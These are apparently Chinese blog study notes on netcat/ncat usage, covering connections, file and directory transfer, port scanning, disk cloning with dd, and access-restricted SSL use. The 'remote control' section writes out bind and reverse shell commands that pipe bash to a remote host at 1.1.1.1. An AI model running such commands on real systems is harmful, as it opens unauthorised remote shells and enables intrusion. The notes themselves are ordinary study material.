NC学习笔记

本文介绍了使用NC(ncat)进行多种网络操作的方法,包括接口探测、文本交互、文件及目录传输、端口扫描、远程硬盘克隆及远程控制等。此外还涉及了ncat的访问限制设置与加密传输功能。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

搬迁到Minggle’Blog

###NC(ncat)学习笔记

nc -nv 1.1.1.1 80		##接口探测,发起链接

文本交互

A:nc -l -p 4444
B:nc -vn 1.1.1.1 4444

nc -nv 1.1.1.1 4444 -q 1 		##输出结束1秒后结束链接

传输文件

接收端:nc -lp 4444 > 1.doc
发送端:nc -nv 1.1.1.1 4444 < 1.doc -q 1
or
接收端:nc -nv 1.1.1.1 4444 > 1.doc
发送端:nc -lp 4444 < 1.doc -q 1

传输目录

发送端:tar -cvf - music/ | nc -lp 4444 -q 1
接收端:nc -nv 1.1.1.1 4444 | tar -xvf -

端口扫描

nc -nvz 1.1.1.1 1-65535			##tcp端口扫描
nc -nvzu 1.1.1.1 1-1024			##UPD端口扫描

远程硬盘克隆

A:nc -lp 4444 | dd of=/dev/sda
B:dd if=/dev/sda | nc -nv 1.1.1.1 4444 -q 1

远程控制

正向:
A:nc -lp 4444 -c bash
B:nc 1.1.1.1 4444

反向:
A:nc -lp 4444
B:nc 1.1.1.1 4444 -c bash

ncat限制访问与加密传输

ncat -c bash --allow 2.2.2.2 -nvl 4444 --ssl
ncat -nv 1.1.1.1 4444 --ssl
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值